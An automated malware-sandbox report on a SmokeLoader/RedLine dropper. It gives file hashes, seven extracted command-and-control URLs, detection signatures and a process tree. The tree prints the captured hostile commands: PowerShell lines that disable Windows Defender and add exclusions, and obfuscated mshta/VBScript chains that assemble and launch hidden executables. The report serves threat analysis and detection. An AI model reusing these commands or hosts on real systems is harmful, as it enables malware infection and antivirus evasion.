Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Resubmissions

10/11/2021, 14:50

211110-r7nbvaeddr 10

08/11/2021, 16:12

211108-tnmmbahgaj 10

08/11/2021, 15:26

211108-svdsbaccf6 10

08/11/2021, 14:48

211108-r6lfvshdfn 10

Analysis

  • max time kernel
    24s
  • max time network
    152s
  • platform
    windows7_x64
  • resource
    win7-en-20211014
  • submitted
    08/11/2021, 14:48

General

  • Target

    9c4880a98c53084391a2e2ec350515da63c1dc8ac929af17f012b690b0453782.exe

  • Size

    3.6MB

  • MD5

    9725f7f222530388cb2743504a6e0667

  • SHA1

    56d0eb91855e326b050c904147f4d9dafc596d70

  • SHA256

    9c4880a98c53084391a2e2ec350515da63c1dc8ac929af17f012b690b0453782

  • SHA512

    ea5aedb3c3ab725c9afc65481ef7b59cdfad80613aaf43a8e76ec94045824269b008007644cb7943e65e98a87650f7f980afcd66ae1dee7807d84be57c018663

Malware Config

Extracted

Family

smokeloader

Version

2020

C2

http://directorycart.com/upload/

http://tierzahnarzt.at/upload/

http://streetofcards.com/upload/

http://ycdfzd.com/upload/

http://successcoachceo.com/upload/

http://uhvu.cn/upload/

http://japanarticle.com/upload/

rc4.i32
rc4.i32

Signatures

  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

  • RedLine Payload 2 IoCs
  • SmokeLoader

    Modular backdoor trojan in use since 2014.

  • suricata: ET MALWARE GCleaner Downloader Activity M5

    suricata: ET MALWARE GCleaner Downloader Activity M5

  • suricata: ET MALWARE Win32/Unk.HRESQ! MultiDownloader Checkin

    suricata: ET MALWARE Win32/Unk.HRESQ! MultiDownloader Checkin

  • ASPack v2.12-2.42 6 IoCs

    Detects executables packed with ASPack v2.12-2.42

  • Downloads MZ/PE file
  • Executes dropped EXE 4 IoCs
  • Loads dropped DLL 19 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs
  • Looks up external IP address via web service 5 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 3 IoCs
  • Kills process with taskkill 3 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\9c4880a98c53084391a2e2ec350515da63c1dc8ac929af17f012b690b0453782.exe
    "C:\Users\Admin\AppData\Local\Temp\9c4880a98c53084391a2e2ec350515da63c1dc8ac929af17f012b690b0453782.exe"
    1⤵
    • Loads dropped DLL
    • Suspicious use of WriteProcessMemory
    PID:1100
    • C:\Users\Admin\AppData\Local\Temp\setup_installer.exe
      "C:\Users\Admin\AppData\Local\Temp\setup_installer.exe"
      2⤵
      • Executes dropped EXE
      • Loads dropped DLL
      • Suspicious use of WriteProcessMemory
      PID:772
      • C:\Users\Admin\AppData\Local\Temp\7zS403D5426\setup_install.exe
        "C:\Users\Admin\AppData\Local\Temp\7zS403D5426\setup_install.exe"
        3⤵
        • Executes dropped EXE
        • Loads dropped DLL
        • Suspicious use of WriteProcessMemory
        PID:976
        • C:\Windows\SysWOW64\cmd.exe
          C:\Windows\system32\cmd.exe /c powershell -inputformat none -outputformat none -NonInteractive -Command Set-MpPreference -DisableRealtimeMonitoring $true -SubmitSamplesConsent NeverSend -MAPSReporting Disable
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:1264
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            powershell -inputformat none -outputformat none -NonInteractive -Command Set-MpPreference -DisableRealtimeMonitoring $true -SubmitSamplesConsent NeverSend -MAPSReporting Disable
            5⤵
              PID:1656
          • C:\Windows\SysWOW64\cmd.exe
            C:\Windows\system32\cmd.exe /c powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"
            4⤵
            • Suspicious use of WriteProcessMemory
            PID:1468
            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"
              5⤵
                PID:996
            • C:\Windows\SysWOW64\cmd.exe
              C:\Windows\system32\cmd.exe /c Wed128c2773227671b3f.exe
              4⤵
                PID:1612
              • C:\Windows\SysWOW64\cmd.exe
                C:\Windows\system32\cmd.exe /c Wed12fb2a5c52f05816.exe
                4⤵
                • Loads dropped DLL
                PID:1824
                • C:\Users\Admin\AppData\Local\Temp\7zS403D5426\Wed12fb2a5c52f05816.exe
                  Wed12fb2a5c52f05816.exe
                  5⤵
                  • Executes dropped EXE
                  PID:1944
                  • C:\Windows\SysWOW64\mshta.exe
                    "C:\Windows\System32\mshta.exe" vBSCrIpt: cLoSE ( CREaTEOBjECt ( "wSCRiPt.shell" ). RUn ( "cmD.exE /c eCHo | SEt /P = ""MZ"" > s4AW._YK & CoPy /B /y s4aW._YK + 4kt1N2.SAG + JISYX0.0 CFIfB.3 & DEl 4KT1N2.SAG JiSYX0.0 S4AW._YK& STArt msiexec /y .\CFIFB.3 ", 0 ,TRuE ) )
                    6⤵
                      PID:2832
                      • C:\Windows\SysWOW64\cmd.exe
                        "C:\Windows\System32\cmd.exe" /c eCHo | SEt /P = "MZ" > s4AW._YK & CoPy /B /y s4aW._YK+ 4kt1N2.SAG + JISYX0.0 CFIfB.3 & DEl 4KT1N2.SAG JiSYX0.0 S4AW._YK& STArt msiexec /y .\CFIFB.3
                        7⤵
                          PID:2432
                  • C:\Windows\SysWOW64\cmd.exe
                    C:\Windows\system32\cmd.exe /c Wed126ca6605dbec0399.exe /mixone
                    4⤵
                    • Loads dropped DLL
                    PID:1712
                    • C:\Users\Admin\AppData\Local\Temp\7zS403D5426\Wed126ca6605dbec0399.exe
                      Wed126ca6605dbec0399.exe /mixone
                      5⤵
                      • Executes dropped EXE
                      PID:1960
                      • C:\Windows\SysWOW64\cmd.exe
                        "C:\Windows\System32\cmd.exe" /c taskkill /im "Wed126ca6605dbec0399.exe" /f & erase "C:\Users\Admin\AppData\Local\Temp\7zS403D5426\Wed126ca6605dbec0399.exe" & exit
                        6⤵
                          PID:2240
                          • C:\Windows\SysWOW64\taskkill.exe
                            taskkill /im "Wed126ca6605dbec0399.exe" /f
                            7⤵
                            • Kills process with taskkill
                            PID:2308
                    • C:\Windows\SysWOW64\cmd.exe
                      C:\Windows\system32\cmd.exe /c Wed1217e6a0ef74ed.exe
                      4⤵
                        PID:1720
                      • C:\Windows\SysWOW64\cmd.exe
                        C:\Windows\system32\cmd.exe /c Wed120b6f5c6d562.exe
                        4⤵
                        • Loads dropped DLL
                        PID:528
                        • C:\Users\Admin\AppData\Local\Temp\7zS403D5426\Wed120b6f5c6d562.exe
                          Wed120b6f5c6d562.exe
                          5⤵
                            PID:1548
                        • C:\Windows\SysWOW64\cmd.exe
                          C:\Windows\system32\cmd.exe /c Wed12bcd18bdbc441.exe
                          4⤵
                            PID:2040
                            • C:\Users\Admin\AppData\Local\Temp\7zS403D5426\Wed12bcd18bdbc441.exe
                              Wed12bcd18bdbc441.exe
                              5⤵
                                PID:2188
                            • C:\Windows\SysWOW64\cmd.exe
                              C:\Windows\system32\cmd.exe /c Wed12859e3c1cf63b6a0.exe
                              4⤵
                                PID:864
                                • C:\Users\Admin\AppData\Local\Temp\7zS403D5426\Wed12859e3c1cf63b6a0.exe
                                  Wed12859e3c1cf63b6a0.exe
                                  5⤵
                                    PID:1700
                                    • C:\Users\Admin\AppData\Local\Temp\7zS403D5426\Wed12859e3c1cf63b6a0.exe
                                      C:\Users\Admin\AppData\Local\Temp\7zS403D5426\Wed12859e3c1cf63b6a0.exe
                                      6⤵
                                        PID:2856
                                  • C:\Windows\SysWOW64\cmd.exe
                                    C:\Windows\system32\cmd.exe /c Wed1229427acd4bc167.exe
                                    4⤵
                                      PID:988
                                      • C:\Users\Admin\AppData\Local\Temp\7zS403D5426\Wed1229427acd4bc167.exe
                                        Wed1229427acd4bc167.exe
                                        5⤵
                                          PID:1456
                                          • C:\Users\Admin\Pictures\Adobe Films\fOvAsTwXmdLtPQ5cOFZEjBvF.exe
                                            "C:\Users\Admin\Pictures\Adobe Films\fOvAsTwXmdLtPQ5cOFZEjBvF.exe"
                                            6⤵
                                              PID:2556
                                            • C:\Windows\SysWOW64\WerFault.exe
                                              C:\Windows\SysWOW64\WerFault.exe -u -p 1456 -s 1560
                                              6⤵
                                              • Program crash
                                              PID:2808
                                        • C:\Windows\SysWOW64\cmd.exe
                                          C:\Windows\system32\cmd.exe /c Wed129eb9b8859.exe
                                          4⤵
                                            PID:932
                                            • C:\Users\Admin\AppData\Local\Temp\7zS403D5426\Wed129eb9b8859.exe
                                              Wed129eb9b8859.exe
                                              5⤵
                                                PID:684
                                                • C:\Users\Admin\Pictures\Adobe Films\fOvAsTwXmdLtPQ5cOFZEjBvF.exe
                                                  "C:\Users\Admin\Pictures\Adobe Films\fOvAsTwXmdLtPQ5cOFZEjBvF.exe"
                                                  6⤵
                                                    PID:2544
                                                  • C:\Windows\SysWOW64\WerFault.exe
                                                    C:\Windows\SysWOW64\WerFault.exe -u -p 684 -s 1480
                                                    6⤵
                                                    • Program crash
                                                    PID:2636
                                              • C:\Windows\SysWOW64\cmd.exe
                                                C:\Windows\system32\cmd.exe /c Wed121f7e9e92793cf.exe
                                                4⤵
                                                  PID:1644
                                                  • C:\Users\Admin\AppData\Local\Temp\7zS403D5426\Wed121f7e9e92793cf.exe
                                                    Wed121f7e9e92793cf.exe
                                                    5⤵
                                                      PID:860
                                                      • C:\Users\Admin\AppData\Local\Temp\7zS403D5426\Wed121f7e9e92793cf.exe
                                                        C:\Users\Admin\AppData\Local\Temp\7zS403D5426\Wed121f7e9e92793cf.exe
                                                        6⤵
                                                          PID:2828
                                                        • C:\Users\Admin\AppData\Local\Temp\7zS403D5426\Wed121f7e9e92793cf.exe
                                                          C:\Users\Admin\AppData\Local\Temp\7zS403D5426\Wed121f7e9e92793cf.exe
                                                          6⤵
                                                            PID:2840
                                                      • C:\Windows\SysWOW64\cmd.exe
                                                        C:\Windows\system32\cmd.exe /c Wed1241cc206cfb.exe
                                                        4⤵
                                                          PID:412
                                                        • C:\Windows\SysWOW64\cmd.exe
                                                          C:\Windows\system32\cmd.exe /c Wed12ebaf7883e1890d.exe
                                                          4⤵
                                                            PID:628
                                                          • C:\Windows\SysWOW64\WerFault.exe
                                                            C:\Windows\SysWOW64\WerFault.exe -u -p 976 -s 476
                                                            4⤵
                                                            • Program crash
                                                            PID:1480
                                                          • C:\Windows\SysWOW64\cmd.exe
                                                            C:\Windows\system32\cmd.exe /c Wed12fbb08f1dfc28.exe
                                                            4⤵
                                                              PID:1888
                                                      • C:\Users\Admin\AppData\Local\Temp\7zS403D5426\Wed12fbb08f1dfc28.exe
                                                        Wed12fbb08f1dfc28.exe
                                                        1⤵
                                                          PID:1804
                                                        • C:\Users\Admin\AppData\Local\Temp\7zS403D5426\Wed1241cc206cfb.exe
                                                          Wed1241cc206cfb.exe
                                                          1⤵
                                                            PID:1908
                                                            • C:\Users\Admin\AppData\Roaming\7919742.exe
                                                              "C:\Users\Admin\AppData\Roaming\7919742.exe"
                                                              2⤵
                                                                PID:3004
                                                              • C:\Users\Admin\AppData\Roaming\8224331.exe
                                                                "C:\Users\Admin\AppData\Roaming\8224331.exe"
                                                                2⤵
                                                                  PID:2316
                                                                • C:\Users\Admin\AppData\Roaming\4006906.exe
                                                                  "C:\Users\Admin\AppData\Roaming\4006906.exe"
                                                                  2⤵
                                                                    PID:2312
                                                                  • C:\Users\Admin\AppData\Roaming\4180584.exe
                                                                    "C:\Users\Admin\AppData\Roaming\4180584.exe"
                                                                    2⤵
                                                                      PID:2920
                                                                      • C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe
                                                                        "C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe"
                                                                        3⤵
                                                                          PID:2988
                                                                      • C:\Users\Admin\AppData\Roaming\7808745.exe
                                                                        "C:\Users\Admin\AppData\Roaming\7808745.exe"
                                                                        2⤵
                                                                          PID:2476
                                                                          • C:\Windows\SysWOW64\mshta.exe
                                                                            "C:\Windows\System32\mshta.exe" vbscRIpt: cLosE ( CreateOBjEct ( "WsCrIpT.shelL" ). Run ( "cMD /q /c cOPy /Y ""C:\Users\Admin\AppData\Roaming\7808745.exe"" ..\RxAPuFNW.exe && sTaRT ..\rxAPuFNw.EXe -P1jBMdKQQ16j1dp4oT~i & IF """" == """" for %Z iN ( ""C:\Users\Admin\AppData\Roaming\7808745.exe"" ) do taskkill -f -Im ""%~NXZ"" ", 0, TRUE ) )
                                                                            3⤵
                                                                              PID:2928
                                                                          • C:\Users\Admin\AppData\Roaming\425032.exe
                                                                            "C:\Users\Admin\AppData\Roaming\425032.exe"
                                                                            2⤵
                                                                              PID:616
                                                                          • C:\Users\Admin\AppData\Local\Temp\is-QIGSK.tmp\Wed120b6f5c6d562.tmp
                                                                            "C:\Users\Admin\AppData\Local\Temp\is-QIGSK.tmp\Wed120b6f5c6d562.tmp" /SL5="$60126,140785,56832,C:\Users\Admin\AppData\Local\Temp\7zS403D5426\Wed120b6f5c6d562.exe"
                                                                            1⤵
                                                                              PID:1424
                                                                              • C:\Users\Admin\AppData\Local\Temp\7zS403D5426\Wed120b6f5c6d562.exe
                                                                                "C:\Users\Admin\AppData\Local\Temp\7zS403D5426\Wed120b6f5c6d562.exe" /SILENT
                                                                                2⤵
                                                                                  PID:1956
                                                                              • C:\Users\Admin\AppData\Local\Temp\is-CN423.tmp\Wed120b6f5c6d562.tmp
                                                                                "C:\Users\Admin\AppData\Local\Temp\is-CN423.tmp\Wed120b6f5c6d562.tmp" /SL5="$3016A,140785,56832,C:\Users\Admin\AppData\Local\Temp\7zS403D5426\Wed120b6f5c6d562.exe" /SILENT
                                                                                1⤵
                                                                                  PID:2060
                                                                                • C:\Windows\SysWOW64\mshta.exe
                                                                                  "C:\Windows\System32\mshta.exe" vBSCripT:cLOSe ( creaTeoBJeCT ( "wSCrIpT.shell" ).RuN ( "CMd.ExE /R cOpY /Y ""C:\Users\Admin\AppData\Local\Temp\7zS403D5426\Wed12fb2a5c52f05816.exe"" VAKlCUnlQu.exe && STArt VAkLCUnlqU.EXe -PRwIZKFgSE6xyUR7ivEyVbD3Oolfm & If """" =="""" for %E in ( ""C:\Users\Admin\AppData\Local\Temp\7zS403D5426\Wed12fb2a5c52f05816.exe"" ) do taskkill -F -IM ""%~nxE"" " ,0 , TRUe ) )
                                                                                  1⤵
                                                                                    PID:1572
                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                      "C:\Windows\System32\cmd.exe" /R cOpY /Y "C:\Users\Admin\AppData\Local\Temp\7zS403D5426\Wed12fb2a5c52f05816.exe" VAKlCUnlQu.exe && STArt VAkLCUnlqU.EXe -PRwIZKFgSE6xyUR7ivEyVbD3Oolfm & If "" =="" for %E in ( "C:\Users\Admin\AppData\Local\Temp\7zS403D5426\Wed12fb2a5c52f05816.exe" ) do taskkill -F -IM "%~nxE"
                                                                                      2⤵
                                                                                        PID:2872
                                                                                        • C:\Users\Admin\AppData\Local\Temp\VAKlCUnlQu.exe
                                                                                          VAkLCUnlqU.EXe -PRwIZKFgSE6xyUR7ivEyVbD3Oolfm
                                                                                          3⤵
                                                                                            PID:2992
                                                                                            • C:\Windows\SysWOW64\mshta.exe
                                                                                              "C:\Windows\System32\mshta.exe" vBSCripT:cLOSe ( creaTeoBJeCT ( "wSCrIpT.shell" ).RuN ( "CMd.ExE /R cOpY /Y ""C:\Users\Admin\AppData\Local\Temp\VAKlCUnlQu.exe"" VAKlCUnlQu.exe && STArt VAkLCUnlqU.EXe -PRwIZKFgSE6xyUR7ivEyVbD3Oolfm & If ""-PRwIZKFgSE6xyUR7ivEyVbD3Oolfm "" =="""" for %E in ( ""C:\Users\Admin\AppData\Local\Temp\VAKlCUnlQu.exe"" ) do taskkill -F -IM ""%~nxE"" " ,0 , TRUe ) )
                                                                                              4⤵
                                                                                                PID:1896
                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                  "C:\Windows\System32\cmd.exe" /R cOpY /Y "C:\Users\Admin\AppData\Local\Temp\VAKlCUnlQu.exe" VAKlCUnlQu.exe && STArt VAkLCUnlqU.EXe -PRwIZKFgSE6xyUR7ivEyVbD3Oolfm & If "-PRwIZKFgSE6xyUR7ivEyVbD3Oolfm " =="" for %E in ( "C:\Users\Admin\AppData\Local\Temp\VAKlCUnlQu.exe" ) do taskkill -F -IM "%~nxE"
                                                                                                  5⤵
                                                                                                    PID:2508
                                                                                                • C:\Windows\SysWOW64\mshta.exe
                                                                                                  "C:\Windows\System32\mshta.exe" vBSCrIpt: cLoSE ( CREaTEOBjECt ( "wSCRiPt.shell" ). RUn ( "cmD.exE /c eCHo | SEt /P = ""MZ"" > s4AW._YK & CoPy /B /y s4aW._YK + 4kt1N2.SAG + JISYX0.0 CFIfB.3 & DEl 4KT1N2.SAG JiSYX0.0 S4AW._YK& STArt msiexec /y .\CFIFB.3 ", 0 ,TRuE ) )
                                                                                                  4⤵
                                                                                                    PID:2336
                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                      "C:\Windows\System32\cmd.exe" /c eCHo | SEt /P = "MZ" > s4AW._YK & CoPy /B /y s4aW._YK+ 4kt1N2.SAG + JISYX0.0 CFIfB.3 & DEl 4KT1N2.SAG JiSYX0.0 S4AW._YK& STArt msiexec /y .\CFIFB.3
                                                                                                      5⤵
                                                                                                        PID:980
                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                          C:\Windows\system32\cmd.exe /S /D /c" SEt /P = "MZ" 1>s4AW._YK"
                                                                                                          6⤵
                                                                                                            PID:2352
                                                                                                          • C:\Windows\SysWOW64\msiexec.exe
                                                                                                            msiexec /y .\CFIFB.3
                                                                                                            6⤵
                                                                                                              PID:1192
                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                              C:\Windows\system32\cmd.exe /S /D /c" eCHo "
                                                                                                              6⤵
                                                                                                                PID:1368
                                                                                                        • C:\Windows\SysWOW64\taskkill.exe
                                                                                                          taskkill -F -IM "Wed12fb2a5c52f05816.exe"
                                                                                                          3⤵
                                                                                                          • Kills process with taskkill
                                                                                                          PID:3012
                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                      "C:\Windows\System32\cmd.exe" /q /c cOPy /Y "C:\Users\Admin\AppData\Roaming\7808745.exe" ..\RxAPuFNW.exe && sTaRT ..\rxAPuFNw.EXe -P1jBMdKQQ16j1dp4oT~i &IF "" == "" for %Z iN ( "C:\Users\Admin\AppData\Roaming\7808745.exe" ) do taskkill -f -Im "%~NXZ"
                                                                                                      1⤵
                                                                                                        PID:2852
                                                                                                        • C:\Users\Admin\AppData\Local\Temp\RxAPuFNW.exe
                                                                                                          ..\rxAPuFNw.EXe -P1jBMdKQQ16j1dp4oT~i
                                                                                                          2⤵
                                                                                                            PID:3012
                                                                                                            • C:\Windows\SysWOW64\mshta.exe
                                                                                                              "C:\Windows\System32\mshta.exe" vbscRIpt: cLosE ( CreateOBjEct ( "WsCrIpT.shelL" ). Run ( "cMD /q /c cOPy /Y ""C:\Users\Admin\AppData\Local\Temp\RxAPuFNW.exe"" ..\RxAPuFNW.exe && sTaRT ..\rxAPuFNw.EXe -P1jBMdKQQ16j1dp4oT~i & IF ""-P1jBMdKQQ16j1dp4oT~i "" == """" for %Z iN ( ""C:\Users\Admin\AppData\Local\Temp\RxAPuFNW.exe"" ) do taskkill -f -Im ""%~NXZ"" ", 0, TRUE ) )
                                                                                                              3⤵
                                                                                                                PID:1092
                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                  "C:\Windows\System32\cmd.exe" /q /c cOPy /Y "C:\Users\Admin\AppData\Local\Temp\RxAPuFNW.exe" ..\RxAPuFNW.exe && sTaRT ..\rxAPuFNw.EXe -P1jBMdKQQ16j1dp4oT~i &IF "-P1jBMdKQQ16j1dp4oT~i " == "" for %Z iN ( "C:\Users\Admin\AppData\Local\Temp\RxAPuFNW.exe" ) do taskkill -f -Im "%~NXZ"
                                                                                                                  4⤵
                                                                                                                    PID:280
                                                                                                                • C:\Windows\SysWOW64\mshta.exe
                                                                                                                  "C:\Windows\System32\mshta.exe" VBSCRipT: CLOse ( createoBJECt ( "wScRIpt.shelL" ). RUn ("cMd /C EChO | SEt /p = ""MZ"" > CPkPI.i & CopY /b /Y CPkpI.I + sQCC.RrX + NvzjY~Q7.S1K+ FZOB0ELr.D +wXR7c.DF ..\WfNrfms4.K & StARt control ..\WfNRfms4.K & Del /Q * " , 0 ,tRue ) )
                                                                                                                  3⤵
                                                                                                                    PID:3044
                                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                                      "C:\Windows\System32\cmd.exe" /C EChO | SEt /p = "MZ" > CPkPI.i & CopY /b /Y CPkpI.I + sQCC.RrX + NvzjY~Q7.S1K+ FZOB0ELr.D +wXR7c.DF ..\WfNrfms4.K & StARt control ..\WfNRfms4.K & Del /Q *
                                                                                                                      4⤵
                                                                                                                        PID:1556
                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                          C:\Windows\system32\cmd.exe /S /D /c" SEt /p = "MZ" 1>CPkPI.i"
                                                                                                                          5⤵
                                                                                                                            PID:1464
                                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                                            C:\Windows\system32\cmd.exe /S /D /c" EChO "
                                                                                                                            5⤵
                                                                                                                              PID:2616
                                                                                                                            • C:\Windows\SysWOW64\control.exe
                                                                                                                              control ..\WfNRfms4.K
                                                                                                                              5⤵
                                                                                                                                PID:2948
                                                                                                                                • C:\Windows\SysWOW64\rundll32.exe
                                                                                                                                  "C:\Windows\system32\rundll32.exe" Shell32.dll,Control_RunDLL ..\WfNRfms4.K
                                                                                                                                  6⤵
                                                                                                                                    PID:3048
                                                                                                                                    • C:\Windows\system32\RunDll32.exe
                                                                                                                                      C:\Windows\system32\RunDll32.exe Shell32.dll,Control_RunDLL ..\WfNRfms4.K
                                                                                                                                      7⤵
                                                                                                                                        PID:280
                                                                                                                                        • C:\Windows\SysWOW64\rundll32.exe
                                                                                                                                          "C:\Windows\SysWOW64\rundll32.exe" "C:\Windows\SysWOW64\shell32.dll",#44 ..\WfNRfms4.K
                                                                                                                                          8⤵
                                                                                                                                            PID:2088
                                                                                                                              • C:\Windows\SysWOW64\taskkill.exe
                                                                                                                                taskkill -f -Im "7808745.exe"
                                                                                                                                2⤵
                                                                                                                                • Kills process with taskkill
                                                                                                                                PID:2916
                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                                              C:\Windows\system32\cmd.exe /S /D /c" SEt /P = "MZ" 1>s4AW._YK"
                                                                                                                              1⤵
                                                                                                                                PID:2184
                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                C:\Windows\system32\cmd.exe /S /D /c" eCHo "
                                                                                                                                1⤵
                                                                                                                                  PID:2876

                                                                                                                                Network

                                                                                                                                MITRE ATT&CK Enterprise v6

                                                                                                                                Replay Monitor

                                                                                                                                Loading Replay Monitor...

                                                                                                                                Downloads

                                                                                                                                • memory/616-334-0x0000000004A00000-0x0000000004A01000-memory.dmp

                                                                                                                                  Filesize

                                                                                                                                  4KB

                                                                                                                                • memory/684-234-0x0000000003BF0000-0x0000000003D3C000-memory.dmp

                                                                                                                                  Filesize

                                                                                                                                  1.3MB

                                                                                                                                • memory/860-225-0x0000000004940000-0x0000000004941000-memory.dmp

                                                                                                                                  Filesize

                                                                                                                                  4KB

                                                                                                                                • memory/860-208-0x00000000002C0000-0x00000000002C1000-memory.dmp

                                                                                                                                  Filesize

                                                                                                                                  4KB

                                                                                                                                • memory/976-86-0x000000006B440000-0x000000006B4CF000-memory.dmp

                                                                                                                                  Filesize

                                                                                                                                  572KB

                                                                                                                                • memory/976-88-0x000000006FE40000-0x000000006FFC6000-memory.dmp

                                                                                                                                  Filesize

                                                                                                                                  1.5MB

                                                                                                                                • memory/976-96-0x0000000064940000-0x0000000064959000-memory.dmp

                                                                                                                                  Filesize

                                                                                                                                  100KB

                                                                                                                                • memory/976-91-0x000000006FE40000-0x000000006FFC6000-memory.dmp

                                                                                                                                  Filesize

                                                                                                                                  1.5MB

                                                                                                                                • memory/976-98-0x000000006FE40000-0x000000006FFC6000-memory.dmp

                                                                                                                                  Filesize

                                                                                                                                  1.5MB

                                                                                                                                • memory/976-93-0x0000000064940000-0x0000000064959000-memory.dmp

                                                                                                                                  Filesize

                                                                                                                                  100KB

                                                                                                                                • memory/976-95-0x000000006B280000-0x000000006B2A6000-memory.dmp

                                                                                                                                  Filesize

                                                                                                                                  152KB

                                                                                                                                • memory/976-94-0x000000006B280000-0x000000006B2A6000-memory.dmp

                                                                                                                                  Filesize

                                                                                                                                  152KB

                                                                                                                                • memory/976-92-0x0000000064940000-0x0000000064959000-memory.dmp

                                                                                                                                  Filesize

                                                                                                                                  100KB

                                                                                                                                • memory/976-89-0x000000006FE40000-0x000000006FFC6000-memory.dmp

                                                                                                                                  Filesize

                                                                                                                                  1.5MB

                                                                                                                                • memory/976-85-0x000000006B440000-0x000000006B4CF000-memory.dmp

                                                                                                                                  Filesize

                                                                                                                                  572KB

                                                                                                                                • memory/976-90-0x0000000064940000-0x0000000064959000-memory.dmp

                                                                                                                                  Filesize

                                                                                                                                  100KB

                                                                                                                                • memory/976-97-0x000000006B440000-0x000000006B4CF000-memory.dmp

                                                                                                                                  Filesize

                                                                                                                                  572KB

                                                                                                                                • memory/976-87-0x000000006FE40000-0x000000006FFC6000-memory.dmp

                                                                                                                                  Filesize

                                                                                                                                  1.5MB

                                                                                                                                • memory/976-84-0x000000006B440000-0x000000006B4CF000-memory.dmp

                                                                                                                                  Filesize

                                                                                                                                  572KB

                                                                                                                                • memory/996-230-0x0000000001F00000-0x0000000002B4A000-memory.dmp

                                                                                                                                  Filesize

                                                                                                                                  12.3MB

                                                                                                                                • memory/996-223-0x0000000001F00000-0x0000000002B4A000-memory.dmp

                                                                                                                                  Filesize

                                                                                                                                  12.3MB

                                                                                                                                • memory/996-233-0x0000000001F00000-0x0000000002B4A000-memory.dmp

                                                                                                                                  Filesize

                                                                                                                                  12.3MB

                                                                                                                                • memory/1100-55-0x0000000075C21000-0x0000000075C23000-memory.dmp

                                                                                                                                  Filesize

                                                                                                                                  8KB

                                                                                                                                • memory/1192-332-0x00000000023C0000-0x000000000246D000-memory.dmp

                                                                                                                                  Filesize

                                                                                                                                  692KB

                                                                                                                                • memory/1272-218-0x0000000003C90000-0x0000000003CA6000-memory.dmp

                                                                                                                                  Filesize

                                                                                                                                  88KB

                                                                                                                                • memory/1424-202-0x0000000000270000-0x0000000000271000-memory.dmp

                                                                                                                                  Filesize

                                                                                                                                  4KB

                                                                                                                                • memory/1456-235-0x0000000003ED0000-0x000000000401C000-memory.dmp

                                                                                                                                  Filesize

                                                                                                                                  1.3MB

                                                                                                                                • memory/1480-231-0x00000000003F0000-0x00000000003F1000-memory.dmp

                                                                                                                                  Filesize

                                                                                                                                  4KB

                                                                                                                                • memory/1548-195-0x0000000000400000-0x0000000000414000-memory.dmp

                                                                                                                                  Filesize

                                                                                                                                  80KB

                                                                                                                                • memory/1656-229-0x0000000001F60000-0x0000000002BAA000-memory.dmp

                                                                                                                                  Filesize

                                                                                                                                  12.3MB

                                                                                                                                • memory/1656-232-0x0000000001F60000-0x0000000002BAA000-memory.dmp

                                                                                                                                  Filesize

                                                                                                                                  12.3MB

                                                                                                                                • memory/1656-222-0x0000000001F60000-0x0000000002BAA000-memory.dmp

                                                                                                                                  Filesize

                                                                                                                                  12.3MB

                                                                                                                                • memory/1700-206-0x00000000011E0000-0x00000000011E1000-memory.dmp

                                                                                                                                  Filesize

                                                                                                                                  4KB

                                                                                                                                • memory/1700-226-0x0000000001120000-0x0000000001121000-memory.dmp

                                                                                                                                  Filesize

                                                                                                                                  4KB

                                                                                                                                • memory/1804-199-0x0000000000400000-0x0000000002DAA000-memory.dmp

                                                                                                                                  Filesize

                                                                                                                                  41.7MB

                                                                                                                                • memory/1804-189-0x00000000002A0000-0x00000000002B0000-memory.dmp

                                                                                                                                  Filesize

                                                                                                                                  64KB

                                                                                                                                • memory/1804-192-0x0000000000250000-0x0000000000259000-memory.dmp

                                                                                                                                  Filesize

                                                                                                                                  36KB

                                                                                                                                • memory/1908-227-0x00000000023D0000-0x00000000023D1000-memory.dmp

                                                                                                                                  Filesize

                                                                                                                                  4KB

                                                                                                                                • memory/1908-207-0x0000000000D80000-0x0000000000D81000-memory.dmp

                                                                                                                                  Filesize

                                                                                                                                  4KB

                                                                                                                                • memory/1956-212-0x0000000000400000-0x0000000000414000-memory.dmp

                                                                                                                                  Filesize

                                                                                                                                  80KB

                                                                                                                                • memory/1960-172-0x0000000000240000-0x0000000000289000-memory.dmp

                                                                                                                                  Filesize

                                                                                                                                  292KB

                                                                                                                                • memory/1960-194-0x0000000000400000-0x0000000002DC2000-memory.dmp

                                                                                                                                  Filesize

                                                                                                                                  41.8MB

                                                                                                                                • memory/1960-159-0x0000000002FC0000-0x0000000002FE9000-memory.dmp

                                                                                                                                  Filesize

                                                                                                                                  164KB

                                                                                                                                • memory/2060-219-0x0000000000260000-0x0000000000261000-memory.dmp

                                                                                                                                  Filesize

                                                                                                                                  4KB

                                                                                                                                • memory/2636-251-0x00000000003D0000-0x00000000003D1000-memory.dmp

                                                                                                                                  Filesize

                                                                                                                                  4KB

                                                                                                                                • memory/2808-248-0x00000000003E0000-0x00000000003E1000-memory.dmp

                                                                                                                                  Filesize

                                                                                                                                  4KB

